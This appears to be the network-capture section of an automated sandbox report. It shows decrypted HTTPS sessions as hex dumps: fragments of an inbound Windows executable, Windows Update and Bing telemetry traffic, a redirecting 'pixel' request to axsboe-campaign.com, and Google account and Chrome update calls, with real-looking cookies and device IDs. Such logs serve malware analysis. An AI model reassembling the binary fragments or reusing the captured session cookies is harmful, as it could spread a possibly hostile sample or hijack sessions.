2023-12-06 13:33:09 UTC	16384	IN	Data Raw: 8c db 4b 00 00 0f 95 c0 c3 53 8b d8 e8 84 ff ff ff 84 c0 74 29 a1 8c db 4b 00 81 38 fe 3f 00 00 7d 1c a1 8c db 4b 00 8b 00 8b 15 8c db 4b 00 89 5c 82 04 a1 8c db 4b 00 ff 00 b0 01 eb 02 33 c0 c6 05 90 db 4b 00 00 5b c3 53 56 57 8b f0 bf 8c db 4b 00 33 db 83 3f 00 74 3f e8 36 ff ff ff 84 c0 74 36 8b 07 8b 10 4a 85 d2 7c 26 42 33 c0 8b 0f 3b 74 81 04 75 17 8b 17 8b 12 8b 0f 8b 14 91 8b 0f 89 54 81 04 8b 17 ff 0a b3 01 eb 04 40 4a 75 dd c6 05 90 db 4b 00 00 8b c3 5f 5e 5b c3 8b c0 55 8b ec 83 c4 d8 53 56 57 89 45 fc 8b 45 fc 8b 00 81 e8 80 70 4b 00 c1 e8 05 c1 e0 08 8b 55 08 8d b4 c2 00 48 fe ff 8d 4d dc 8d 55 e0 8b 45 fc e8 c7 fc ff ff e9 6d 01 00 00 8b 45 e0 83 e8 04 f6 00 01 0f 85 52 01 00 00 8b 45 e0 e8 57 ff ff ff 84 c0 0f 85 42 01 00 00 8b 45 08 c6 80 Data Ascii: KSt)K8?}KK\K3K[SVWK3?t?6t6J\|&B3;tuT@JuK_^[USVWEEpKUHMUEmEREWBE
2023-12-06 13:33:10 UTC	16384	IN	Data Raw: 24 0f b7 08 66 3b 0a 74 39 66 3b 4a 02 74 36 83 c2 08 3b 54 24 08 72 18 83 c2 fc 3b 54 24 08 72 e3 83 c4 0c 8b 04 24 0b 44 24 04 5b 5e 31 c0 c3 66 3b 4a fc 74 09 66 3b 4a fe 75 c8 83 c2 02 83 c2 fc 83 c2 fe 8b 34 24 85 f6 74 1d 8b 1c 30 3b 5c 32 02 75 ba 83 fe fc 7d 0f 8b 5c 30 04 3b 5c 32 06 75 ab 83 c6 08 7c e3 8b 44 24 04 83 c2 04 3b 54 24 08 77 ab 83 c4 0c 8b 0c 24 0b 4c 24 04 74 08 89 c3 89 d6 89 d8 89 f2 01 d0 d1 e8 5b 5e c3 55 8b ec 53 0f b7 5d 08 53 e8 62 f0 ff ff 5b 5d c2 04 00 90 55 8b ec 53 0f b7 5d 08 53 e8 ce f1 ff ff 5b 5d c2 04 00 90 31 c9 53 8a 4a 01 56 57 8d 74 11 0a 8b 7c 11 06 89 c3 85 ff 74 1d 8b 16 85 d2 74 11 8b 46 04 01 d8 8b 12 b9 01 00 00 00 e8 0b 00 00 00 83 c6 08 4f 7f e3 5f 5e 5b c3 90 85 c9 0f 84 8e 00 00 00 53 56 57 89 c3 89 Data Ascii: $f;t9f;Jt6;T$r;T$r$D$[^1f;Jtf;Ju4$t0;\2u}\0;\2u\|D$;T$w$L$t[^US]Sb[]US]S[]1SJVWt\|ttFO_^[SVW
2023-12-06 13:33:10 UTC	16384	IN	Data Raw: 48 04 3b 4a 04 75 10 8b 48 08 3b 4a 08 75 08 8b 40 0c 3b 42 0c 74 03 33 c0 c3 b0 01 c3 55 8b ec 33 c0 55 68 94 cb 40 00 64 ff 30 64 89 20 ff 05 8c b9 4b 00 75 55 b8 64 b0 4b 00 e8 f1 8c ff ff b8 40 b3 4b 00 e8 e7 8c ff ff b8 1c b6 4b 00 e8 dd 8c ff ff e8 ec d7 ff ff 83 3d 10 7c 4b 00 00 74 0a a1 10 7c 4b 00 e8 05 77 ff ff b8 d8 dc 4b 00 e8 27 f6 ff ff e8 0e 88 ff ff b8 d8 dc 4b 00 8b 15 50 b8 40 00 e8 0a c1 ff ff 33 c0 5a 59 59 64 89 10 68 9b cb 40 00 c3 e9 a3 a4 ff ff eb f8 5d c3 8d 40 00 55 8b ec 8b 55 08 8b 45 0c f0 87 02 5d c2 08 00 ff 25 30 23 4c 00 8b c0 ff 25 2c 23 4c 00 8b c0 ff 25 6c 24 4c 00 8b c0 ff 25 fc 22 4c 00 8b c0 ff 25 4c 24 4c 00 8b c0 ff 25 5c 24 4c 00 8b c0 ff 25 40 23 4c 00 8b c0 ff 25 58 23 4c 00 8b c0 ff 25 64 23 4c 00 8b c0 ff 25 Data Ascii: H;JuH;Ju@;Bt3U3Uh@d0d KuUdK@KK=\|Kt\|KwK'KP@3ZYYdh@]@UUE]%0#L%,#L%l$L%"L%L$L%\$L%@#L%X#L%d#L%
2023-12-06 13:33:10 UTC	16384	IN	Data Raw: 09 fe 13 50 09 08 01 45 09 08 01 08 01 08 01 16 16 00 05 08 01 08 01 08 01 08 01 4b 0a 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 05 41 05 8a 10 08 01 08 01 08 01 08 01 08 01 18 16 41 05 48 05 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 05 41 00 c6 06 61 00 0d 15 c2 06 1f 14 09 15 41 00 dd 00 d3 06 42 15 53 15 20 14 41 00 c6 06 61 00 b7 14 e1 06 61 00 b3 14 e1 14 ed 06 05 15 41 00 d9 00 61 00 41 00 c6 06 61 00 0d 15 c2 06 61 00 09 15 41 00 dd 00 05 15 41 00 d9 00 61 00 41 00 c6 06 61 00 55 14 41 00 1f 15 ec 00 0f 15 15 15 61 00 2b 15 41 00 1b 15 e8 00 0b 15 c8 00 61 00 ee 00 41 00 17 15 61 00 70 15 b5 15 b5 15 b5 15 8b 13 8b 13 8b 13 55 09 8b 13 8b 13 99 16 31 05 7c 14 80 13 8a 13 00 05 00 05 00 05 00 05 00 05 6d 09 81 07 b5 12 00 05 00 05 00 05 Data Ascii: PEKAAHAaABS AaaAaAaaAAaAaUAa+AaAapU1\|m
2023-12-06 13:33:10 UTC	16384	IN	Data Raw: 08 2c 03 74 04 33 c0 eb 02 b0 01 5e 5b c3 8d 40 00 53 56 8b d8 0f b7 33 83 fe 7f 77 0c 83 c6 d0 83 ee 0a 0f 92 c0 5e 5b c3 81 fe ff 00 00 00 77 12 a1 88 e6 4b 00 0f b6 04 30 04 f3 2c 03 0f 92 c0 eb 0e 8b c6 e8 f7 fe ff ff 04 f3 2c 03 0f 92 c0 5e 5b c3 90 ff 05 78 e6 4b 00 c3 90 1a 00 00 00 cc 7d 4b 00 58 a5 4b 00 02 00 00 00 c4 7d 4b 00 a0 a7 4b 00 02 00 00 00 bc 7d 4b 00 f8 a5 4b 00 02 00 00 00 b4 7d 4b 00 34 a5 4b 00 02 00 00 00 ac 7d 4b 00 60 a6 4b 00 02 00 00 00 a4 7d 4b 00 94 a5 4b 00 02 00 00 00 9c 7d 4b 00 88 a4 4b 00 02 00 00 00 94 7d 4b 00 a0 a6 4b 00 02 00 00 00 8c 7d 4b 00 c4 a6 4b 00 02 00 00 00 84 7d 4b 00 18 a5 4b 00 02 00 00 00 7c 7d 4b 00 80 a5 4b 00 02 00 00 00 74 7d 4b 00 5c a4 4b 00 02 00 00 00 6c 7d 4b 00 bc a5 4b 00 02 00 00 00 64 7d Data Ascii: ,t3^[@SV3w^[wK0,,^[xK}KXK}KK}KK}K4K}K`K}KK}KK}KK}KK}KK\|}KKt}K\Kl}KKd}
2023-12-06 13:33:10 UTC	16384	IN	Data Raw: 6e 67 03 00 b8 12 40 00 10 00 05 08 9c 8b 41 00 00 00 04 53 65 6c 66 02 00 02 a4 31 40 00 01 00 05 42 79 74 65 73 02 00 00 9c 10 40 00 02 00 09 42 79 74 65 49 6e 64 65 78 02 00 00 9c 10 40 00 0c 00 09 42 79 74 65 43 6f 75 6e 74 02 00 40 b8 12 40 00 08 00 01 01 02 00 02 00 43 00 18 7c 4b 00 09 47 65 74 53 74 72 69 6e 67 03 00 b8 12 40 00 0c 00 03 08 9c 8b 41 00 00 00 04 53 65 6c 66 02 00 16 b4 10 40 00 01 00 05 42 79 74 65 73 02 00 40 b8 12 40 00 08 00 01 01 02 00 02 00 00 00 00 a0 8b 41 00 07 09 54 45 6e 63 6f 64 69 6e 67 bc 7a 41 00 88 1f 40 00 00 00 0f 53 79 73 74 65 6d 2e 53 79 73 55 74 69 6c 73 00 00 04 00 02 e9 8b 41 00 02 00 02 0c 8c 41 00 02 00 02 33 8c 41 00 02 00 02 56 8c 41 00 02 00 02 00 00 00 e4 10 40 00 10 00 00 fe 00 00 00 00 01 00 00 00 00 Data Ascii: ng@ASelf1@Bytes@ByteIndex@ByteCount@@C\|KGetString@ASelf@Bytes@@ATEncodingzA@System.SysUtilsAA3AVA@
2023-12-06 13:33:10 UTC	16384	IN	Data Raw: 04 74 18 eb 36 8b 45 08 50 0f b7 45 fc 8b 55 e4 e8 24 fa ff ff 59 e9 e5 05 00 00 8b 45 08 50 0f b7 45 fc 8b 55 08 8b 92 30 fd ff ff 8b 44 82 20 e8 e8 f9 ff ff 59 e9 c5 05 00 00 8b 45 08 50 0f b7 45 fc 8b 55 08 8b 92 30 fd ff ff 8b 44 82 50 e8 c8 f9 ff ff 59 e9 a5 05 00 00 55 e8 24 fa ff ff 59 8b 45 e4 48 83 e8 02 72 11 74 2c 48 74 59 48 0f 84 82 00 00 00 e9 98 00 00 00 55 e8 37 fa ff ff 59 8b 45 08 50 0f b7 45 fa 8b 55 e4 e8 a6 f9 ff ff 59 e9 67 05 00 00 8b 45 08 50 8b 45 08 ff 70 0c ff 70 08 e8 d2 f7 ff ff 0f b7 c0 8b 55 08 8b 92 30 fd ff ff 8b 84 82 80 00 00 00 e8 5a f9 ff ff 59 e9 37 05 00 00 8b 45 08 50 8b 45 08 ff 70 0c ff 70 08 e8 a2 f7 ff ff 0f b7 c0 8b 55 08 8b 92 30 fd ff ff 8b 84 82 9c 00 00 00 e8 2a f9 ff ff 59 e9 07 05 00 00 8b 45 08 50 8b 45 Data Ascii: t6EPEU$YEPEU0D YEPEU0DPYU$YEHrt,HtYHU7YEPEUYgEPEppU0ZY7EPEppU0*YEPE
2023-12-06 13:33:10 UTC	16384	IN	Data Raw: ff 8b c8 8b d4 8b c6 e8 a1 70 fe ff 81 c4 0c 02 00 00 5e 5b c3 e8 73 d6 fe ff 33 d2 e8 04 00 00 00 c3 8d 40 00 55 8b ec 83 c4 e0 53 56 33 c9 89 4d e0 8b f2 8b d8 33 c0 55 68 c0 0b 42 00 64 ff 30 64 89 20 85 db 74 41 89 5d e4 c6 45 e8 00 8d 4d e0 33 d2 8b c3 e8 72 d4 ff ff 8b 45 e0 89 45 ec c6 45 f0 11 89 75 f4 c6 45 f8 11 8d 45 e4 50 6a 02 8b 0d 90 a6 4b 00 b2 01 a1 38 69 41 00 e8 f5 e7 ff ff 89 45 fc eb 15 8b 0d 58 a7 4b 00 b2 01 a1 38 69 41 00 e8 a2 e7 ff ff 89 45 fc 8b 45 fc 89 58 18 ff 75 04 8b 45 fc e9 72 65 fe ff 33 c0 5a 59 59 64 89 10 68 c7 0b 42 00 8d 45 e0 e8 61 6e fe ff c3 e9 77 64 fe ff eb f0 5e 5b 8b e5 5d c3 8d 40 00 53 56 be 9c 92 4b 00 eb 0d 8b 1e 8b 03 89 06 8b c3 e8 26 48 fe ff 83 3e 00 75 ee 5e 5b c3 8b c0 53 68 28 0c 42 00 e8 ad d5 fe Data Ascii: p^[s3@USV3M3UhBd0d tA]EM3rEEEuEEPjK8iAEXK8iAEEXuEre3ZYYdhBEanwd^[]@SVK&H>u^[Sh(B

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49711	13.85.23.86	443

Timestamp	Bytes transferred	Direction	Data
2023-12-06 13:33:15 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=gsFLpk9WD8mr+vo&MD=y8Xsl23L HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2023-12-06 13:33:15 UTC	560	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 45 78 70 69 72 65 73 3a 20 2d 31 0d 0a 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 3a 20 4d 6f 6e 2c 20 30 31 20 4a 61 6e 20 30 30 30 31 20 30 30 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 45 54 61 67 3a 20 22 58 41 6f 70 61 7a 56 30 30 58 44 57 6e 4a 43 77 6b 6d 45 57 52 76 36 4a 6b 62 6a 52 41 39 51 53 53 5a 32 2b 65 2f 33 4d 7a 45 6b 3d 5f 32 38 38 30 22 0d 0a 4d 53 2d 43 6f 72 72 65 6c 61 74 69 6f 6e 49 64 3a 20 39 34 33 62 63 30 38 61 2d 62 30 31 64 2d 34 32 37 30 2d Data Ascii: HTTP/1.1 200 OKCache-Control: no-cachePragma: no-cacheContent-Type: application/octet-streamExpires: -1Last-Modified: Mon, 01 Jan 0001 00:00:00 GMTETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880"MS-CorrelationId: 943bc08a-b01d-4270-
2023-12-06 13:33:15 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2023-12-06 13:33:15 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.5	49715	23.1.237.91	443

Timestamp	Bytes transferred	Direction	Data
2023-12-06 13:33:15 UTC	2148	OUT	POST /threshold/xls.aspx HTTP/1.1 Origin: https://www.bing.com Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init Accept: / Accept-Language: en-CH Content-type: text/xml X-Agent-DeviceId: 01000A410900D492 X-BM-CBT: 1696428841 X-BM-DateFormat: dd/MM/yyyy X-BM-DeviceDimensions: 784x984 X-BM-DeviceDimensionsLogical: 784x984 X-BM-DeviceScale: 100 X-BM-DTZ: 120 X-BM-Market: CH X-BM-Theme: 000000;0078d7 X-BM-WindowsFlights: FX:117B9872,FX:119E26AD,FX:11C0E96C,FX:11C6E5C2,FX:11C7EB6A,FX:11C9408A,FX:11C940DB,FX:11CB9A9F,FX:11CB9AC1,FX:11CC111C,FX:11D5BFCD,FX:11DF5B12,FX:11DF5B75,FX:1240931B,FX:124B38D0,FX:127FC878,FX:1283FFE8,FX:12840617,FX:128979F9,FX:128EBD7E,FX:129135BB,FX:129E053F,FX:12A74DB5,FX:12AB734D,FX:12B8450E,FX:12BD6E73,FX:12C3331B,FX:12C7D66E X-Device-ClientSession: DB0AFB19004F47BC80E5208C7478FF22 X-Device-isOptin: false X-Device-MachineId: {92C86F7C-DB2B-4F6A-95AD-98B4A2AE008A} X-Device-OSSKU: 48 X-Device-Touch: false X-DeviceID: 01000A410900D492 X-MSEdge-ExternalExp: d-thshld39,d-thshld42,d-thshld77,d-thshld78,staticsh X-MSEdge-ExternalExpType: JointCoord X-PositionerType: Desktop X-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUI X-Search-CortanaAvailableCapabilities: None X-Search-SafeSearch: Moderate X-Search-TimeZone: Bias=-60; DaylightBias=-60; TimeZoneKeyName=W. Europe Standard Time X-UserAgeClass: Unknown Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: www.bing.com Content-Length: 2483 Connection: Keep-Alive Cache-Control: no-cache Cookie: MUID=2F4E96DB8B7049E59AD4484C3C00F7CF; _SS=SID=1A6DEABB468B65843EB5F91B47916435&CPID=1701869563912&AC=1&CPH=d1a4eb75; _EDGE_S=SID=1A6DEABB468B65843EB5F91B47916435; SRCHUID=V=2&GUID=3D32B8AC657C4AD781A584E283227995&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20231004; SRCHHPGUSR=SRCHLANG=en&IPMH=986d886c&IPMID=1696428841029&HV=1696428756; CortanaAppUID=5A290E2CC4B523E2D8B5E2E3E4CB7CB7; MUIDB=2F4E96DB8B7049E59AD4484C3C00F7CF
2023-12-06 13:33:15 UTC	1	OUT	Data Raw: 3c Data Ascii: <
2023-12-06 13:33:15 UTC	2482	OUT	Data Raw: 43 6c 69 65 6e 74 49 6e 73 74 52 65 71 75 65 73 74 3e 3c 43 49 44 3e 33 36 34 34 46 44 37 34 44 46 31 36 36 31 38 46 30 38 46 37 45 43 30 33 44 45 35 35 36 30 30 31 3c 2f 43 49 44 3e 3c 45 76 65 6e 74 73 3e 3c 45 3e 3c 54 3e 45 76 65 6e 74 2e 43 6c 69 65 6e 74 49 6e 73 74 3c 2f 54 3e 3c 49 47 3e 37 35 32 32 38 31 35 36 37 30 33 41 34 30 44 35 42 39 37 45 35 41 36 38 33 36 46 32 41 31 43 45 3c 2f 49 47 3e 3c 44 3e 3c 21 5b 43 44 41 54 41 5b 7b 22 43 75 72 55 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 69 6e 67 2e 63 6f 6d 2f 41 53 2f 41 50 49 2f 57 69 6e 64 6f 77 73 43 6f 72 74 61 6e 61 50 61 6e 65 2f 56 32 2f 49 6e 69 74 22 2c 22 50 69 76 6f 74 22 3a 22 51 46 22 2c 22 54 22 3a 22 43 49 2e 42 6f 78 4d 6f 64 65 6c 22 2c 22 46 49 44 22 3a 22 43 49 Data Ascii: ClientInstRequest><CID>3644FD74DF16618F08F7EC03DE556001</CID><Events><E><T>Event.ClientInst</T><IG>75228156703A40D5B97E5A6836F2A1CE</IG><D><![CDATA[{"CurUrl":"https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init","Pivot":"QF","T":"CI.BoxModel","FID":"CI
2023-12-06 13:33:16 UTC	476	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 34 20 4e 6f 20 43 6f 6e 74 65 6e 74 0d 0a 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a 41 63 63 65 70 74 2d 43 48 3a 20 53 65 63 2d 43 48 2d 55 41 2d 41 72 63 68 2c 20 53 65 63 2d 43 48 2d 55 41 2d 42 69 74 6e 65 73 73 2c 20 53 65 63 2d 43 48 2d 55 41 2d 46 75 6c 6c 2d 56 65 72 73 69 6f 6e 2c 20 53 65 63 2d 43 48 2d 55 41 2d 46 75 6c 6c 2d 56 65 72 73 69 6f 6e 2d 4c 69 73 74 2c 20 53 65 63 2d 43 48 2d 55 41 2d 4d 6f 62 69 6c 65 2c 20 53 65 63 2d 43 48 2d 55 41 2d 4d 6f 64 65 6c 2c 20 53 65 63 2d 43 48 2d 55 41 2d 50 6c 61 74 66 6f 72 6d 2c 20 53 65 63 2d 43 48 2d 55 41 2d 50 6c 61 74 66 6f 72 6d 2d 56 65 72 73 69 6f 6e 0d 0a 58 2d 4d 53 45 64 67 65 2d 52 65 66 3a 20 52 65 Data Ascii: HTTP/1.1 204 No ContentAccess-Control-Allow-Origin: *Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionX-MSEdge-Ref: Re

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49724	172.67.213.153	443	2972	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-06 13:33:19 UTC	718	OUT	GET /pixel?pmhzmq=fhoohvpn6e7i&c=5306757&pl=0x03&pb=1&px=2598 HTTP/1.1 Host: axsboe-campaign.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2023-12-06 13:33:20 UTC	670	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 44 61 74 65 3a 20 57 65 64 2c 20 30 36 20 44 65 63 20 32 30 32 33 20 31 33 3a 33 33 3a 32 30 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 58 2d 50 6f 77 65 72 65 64 2d 42 79 3a 20 50 48 50 2f 35 2e 34 2e 31 36 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 69 6e 67 2e 63 6f 6d 0d 0a 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a 43 46 2d 43 61 63 68 65 2d 53 74 61 74 75 73 3a 20 44 59 4e 41 4d 49 43 Data Ascii: HTTP/1.1 301 Moved PermanentlyDate: Wed, 06 Dec 2023 13:33:20 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeX-Powered-By: PHP/5.4.16Location: https://www.bing.comAccess-Control-Allow-Origin: *CF-Cache-Status: DYNAMIC
2023-12-06 13:33:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49722	172.253.115.84	443	2972	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-06 13:33:19 UTC	680	OUT	POST /ListAccounts?gpsia=1&source=ChromiumBrowser&json=standard HTTP/1.1 Host: accounts.google.com Connection: keep-alive Content-Length: 1 Origin: https://www.google.com Content-Type: application/x-www-form-urlencoded Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=511=Ef5vPFGw-MZYo5hwe-0ThAVslbxbmvdVZwcHnqVzWHAU14v53MN1VvwvQq8baYfg2-IAtqZBV5NOL5rvj2NWIqrz377UhLdHtOgE-tJaBlUBYJEhuGsQdqni3oTJg0brqv1djdiLJyvTSUhdK-c5JWadCSsULPLzhSx-F-6wOg4
2023-12-06 13:33:19 UTC	1	OUT	Data Raw: 20 Data Ascii:
2023-12-06 13:33:20 UTC	1627	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0d 0a 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 43 72 65 64 65 6e 74 69 61 6c 73 3a 20 74 72 75 65 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 73 6e 69 66 66 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6e 6f 2d 73 74 6f 72 65 2c 20 6d 61 78 2d 61 67 65 3d 30 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 0d 0a 50 72 Data Ascii: HTTP/1.1 200 OKContent-Type: application/json; charset=utf-8Access-Control-Allow-Origin: https://www.google.comAccess-Control-Allow-Credentials: trueX-Content-Type-Options: nosniffCache-Control: no-cache, no-store, max-age=0, must-revalidatePr
2023-12-06 13:33:20 UTC	23	IN	Data Raw: 31 31 0d 0a 5b 22 67 61 69 61 2e 6c 2e 61 2e 72 22 2c 5b 5d 5d 0d 0a Data Ascii: 11["gaia.l.a.r",[]]
2023-12-06 13:33:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49721	142.251.111.100	443	2972	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-06 13:33:19 UTC	752	OUT	GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&nacl_arch=x86-64&prod=chromecrx&prodchannel=&prodversion=117.0.5938.132&lang=en-US&acceptformat=crx3,puff&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%26v%3D0.0.0.0%26installedby%3Dother%26uc%26brand%3DONGR%26ping%3Dr%253D-1%2526e%253D1 HTTP/1.1 Host: clients2.google.com Connection: keep-alive X-Goog-Update-Interactivity: fg X-Goog-Update-AppId: nmmhkkegccagdldgiimedpiccmgmieda X-Goog-Update-Updater: chromecrx-117.0.5938.132 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
